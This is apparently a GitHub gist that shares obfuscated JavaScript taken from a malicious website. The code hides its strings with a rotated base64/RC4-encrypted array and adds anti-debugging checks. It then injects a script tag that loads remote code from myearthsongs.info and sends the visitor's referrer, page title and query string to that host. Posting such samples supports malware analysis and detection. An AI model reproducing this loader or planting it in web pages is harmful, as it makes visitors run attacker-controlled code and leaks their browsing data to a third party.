Created
May 20, 2019 09:19
-
-
Save qbi/6d6db948f4cc13d880f46c99b3d93cf9 to your computer and use it in GitHub Desktop.
Code from a malicious website
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| < | |
| script type = 'text/javascript' > | |
| var ttzza = ['R8OSw7rCuWPCt2NQwppQw47Cgn4=', 'w7F/OcKIw4UYwrpmw7bDr2LCiMOH', 'OkHDg8OBwrNLasOCEB4=', 'M8OBAcKqwowDw7dmUcOGw77DkA==', 'wrpiEFA=', 'wr7DlMKnB11CScOJw6ttw7E=', 'w6fDkcOLwpFLPcKOCsKwwrLDuxjCqA==', 'w7vDkzs=', 'OEXDl8OBwq9NQcOf', 'w43Cp8K/GH8=', 'JmsTUjN9', 'woDDnsOKw4U0dk4=', 'bEbDg8OJw6BMR8OfHQvChjrCrRXCqXrDlGbCp8Kze8OCwrZFwoxZOV/CsR9AKsOhwoTDnsOsQR09worDgsKOw5UyFC7Dk8K3w4rCgcK/w5LDkg==']; | |
| (function(c, d) { | |
| var e = function(f) { | |
| while (--f) { | |
| c['push'](c['shift']()); | |
| } | |
| }; | |
| var g = function() { | |
| var h = { | |
| 'data': { | |
| 'key': 'cookie', | |
| 'value': 'timeout' | |
| }, | |
| 'setCookie': function(i, j, k, l) { | |
| l = l || {}; | |
| var m = j + '=' + k; | |
| var n = 0x0; | |
| for (var n = 0x0, p = i['length']; n < p; n++) { | |
| var q = i[n]; | |
| m += ';\x20' + q; | |
| var r = i[q]; | |
| i['push'](r); | |
| p = i['length']; | |
| if (r !== !![]) { | |
| m += '=' + r; | |
| } | |
| } | |
| l['cookie'] = m; | |
| }, | |
| 'removeCookie': function() { | |
| return 'dev'; | |
| }, | |
| 'getCookie': function(s, t) { | |
| s = s || function(u) { | |
| return u; | |
| }; | |
| var v = s(new RegExp('(?:^|;\x20)' + t['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)')); | |
| var w = function(x, y) { | |
| x(++y); | |
| }; | |
| w(e, d); | |
| return v ? decodeURIComponent(v[0x1]) : undefined; | |
| } | |
| }; | |
| var z = function() { | |
| var A = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}'); | |
| return A['test'](h['removeCookie']['toString']()); | |
| }; | |
| h['updateCookie'] = z; | |
| var B = ''; | |
| var C = h['updateCookie'](); | |
| if (!C) { | |
| h['setCookie'](['*'], 'counter', 0x1); | |
| } else if (C) { | |
| B = h['getCookie'](null, 'counter'); | |
| } else { | |
| h['removeCookie'](); | |
| } | |
| }; | |
| g(); | |
| }(ttzza, 0x1e7)); | |
| var ttzzb = function(c, d) { | |
| c = c - 0x0; | |
| var e = ttzza[c]; | |
| if (ttzzb['lvutuN'] === undefined) { | |
| (function() { | |
| var f; | |
| try { | |
| var g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');'); | |
| f = g(); | |
| } catch (h) { | |
| f = window; | |
| } | |
| var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; | |
| f['atob'] || (f['atob'] = function(j) { | |
| var k = String(j)['replace'](/=+$/, ''); | |
| for (var l = 0x0, m, n, o = 0x0, p = ''; n = k['charAt'](o++); ~n && (m = l % 0x4 ? m * 0x40 + n : n, l++ % 0x4) ? p += String['fromCharCode'](0xff & m >> (-0x2 * l & 0x6)) : 0x0) { | |
| n = i['indexOf'](n); | |
| } | |
| return p; | |
| }); | |
| }()); | |
| var q = function(r, d) { | |
| var t = [], | |
| u = 0x0, | |
| v, w = '', | |
| x = ''; | |
| r = atob(r); | |
| for (var y = 0x0, z = r['length']; y < z; y++) { | |
| x += '%' + ('00' + r['charCodeAt'](y)['toString'](0x10))['slice'](-0x2); | |
| } | |
| r = decodeURIComponent(x); | |
| for (var A = 0x0; A < 0x100; A++) { | |
| t[A] = A; | |
| } | |
| for (A = 0x0; A < 0x100; A++) { | |
| u = (u + t[A] + d['charCodeAt'](A % d['length'])) % 0x100; | |
| v = t[A]; | |
| t[A] = t[u]; | |
| t[u] = v; | |
| } | |
| A = 0x0; | |
| u = 0x0; | |
| for (var B = 0x0; B < r['length']; B++) { | |
| A = (A + 0x1) % 0x100; | |
| u = (u + t[A]) % 0x100; | |
| v = t[A]; | |
| t[A] = t[u]; | |
| t[u] = v; | |
| w += String['fromCharCode'](r['charCodeAt'](B) ^ t[(t[A] + t[u]) % 0x100]); | |
| } | |
| return w; | |
| }; | |
| ttzzb['nXuQoi'] = q; | |
| ttzzb['cFXlJH'] = {}; | |
| ttzzb['lvutuN'] = !![]; | |
| } | |
| var C = ttzzb['cFXlJH'][c]; | |
| if (C === undefined) { | |
| if (ttzzb['JppTRV'] === undefined) { | |
| var D = function(E) { | |
| this['NptxXd'] = E; | |
| this['XnGvOI'] = [0x1, 0x0, 0x0]; | |
| this['SSHvqf'] = function() { | |
| return 'newState'; | |
| }; | |
| this['CObEqA'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*'; | |
| this['HsDVVp'] = '[\x27|\x22].+[\x27|\x22];?\x20*}'; | |
| }; | |
| D['prototype']['qCarvi'] = function() { | |
| var F = new RegExp(this['CObEqA'] + this['HsDVVp']); | |
| var G = F['test'](this['SSHvqf']['toString']()) ? --this['XnGvOI'][0x1] : --this['XnGvOI'][0x0]; | |
| return this['TqOESI'](G); | |
| }; | |
| D['prototype']['TqOESI'] = function(H) { | |
| if (!Boolean(~H)) { | |
| return H; | |
| } | |
| return this['fxeoJD'](this['NptxXd']); | |
| }; | |
| D['prototype']['fxeoJD'] = function(I) { | |
| for (var J = 0x0, K = this['XnGvOI']['length']; J < K; J++) { | |
| this['XnGvOI']['push'](Math['round'](Math['random']())); | |
| K = this['XnGvOI']['length']; | |
| } | |
| return I(this['XnGvOI'][0x0]); | |
| }; | |
| new D(ttzzb)['qCarvi'](); | |
| ttzzb['JppTRV'] = !![]; | |
| } | |
| e = ttzzb['nXuQoi'](e, d); | |
| ttzzb['cFXlJH'][c] = e; | |
| } else { | |
| e = C; | |
| } | |
| return e; | |
| }; | |
| var c = function() { | |
| var c = !![]; | |
| return function(d, e) { | |
| var f = c ? function() { | |
| if (e) { | |
| var g = e['apply'](d, arguments); | |
| e = null; | |
| return g; | |
| } | |
| } : function() {}; | |
| c = ![]; | |
| return f; | |
| }; | |
| }(); | |
| var f = c(this, function() { | |
| var c = function() { | |
| return '\x64\x65\x76'; | |
| }, | |
| d = function() { | |
| return '\x77\x69\x6e\x64\x6f\x77'; | |
| }; | |
| var e = function() { | |
| var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d'); | |
| return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']()); | |
| }; | |
| var g = function() { | |
| var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b'); | |
| return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']()); | |
| }; | |
| var i = function(j) { | |
| var k = ~-0x1 >> 0x1 + 0xff % 0x0; | |
| if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) { | |
| l(j); | |
| } | |
| }; | |
| var l = function(m) { | |
| var n = ~-0x4 >> 0x1 + 0xff % 0x0; | |
| if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) { | |
| i(m); | |
| } | |
| }; | |
| if (!e()) { | |
| if (!g()) { | |
| i('\x69\x6e\x64\u0435\x78\x4f\x66'); | |
| } else { | |
| i('\x69\x6e\x64\x65\x78\x4f\x66'); | |
| } | |
| } else { | |
| i('\x69\x6e\x64\u0435\x78\x4f\x66'); | |
| } | |
| }); | |
| f(); | |
| var ttzz_d = document; | |
| var ttzz_e = ttzz_d[ttzzb('0x0', '(VEL')]('script'); | |
| ttzz_e[ttzzb('0x1', '1sR*')] = 'https://myearthsongs.info/jscount?se_referrer=' + encodeURIComponent(document[ttzzb('0x2', 'w$$^')]) + '&default_keyword=' + encodeURIComponent(document[ttzzb('0x3', 'Nq6L')]) + '&' + window['location'][ttzzb('0x4', 'PsF)')][ttzzb('0x5', '9P7r')]('?', '&') + ttzzb('0x6', 'w$$^'); | |
| if (document[ttzzb('0x7', '7tYU')]) { | |
| document[ttzzb('0x8', '&8IL')][ttzzb('0x9', 'w$$^')][ttzzb('0xa', 'LK2b')](ttzz_e, document['currentScript']); | |
| } else { | |
| ttzz_d['getElementsByTagName'](ttzzb('0xb', 'avFn'))[0x0][ttzzb('0xc', 'em$X')](ttzz_e); | |
| } < /script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment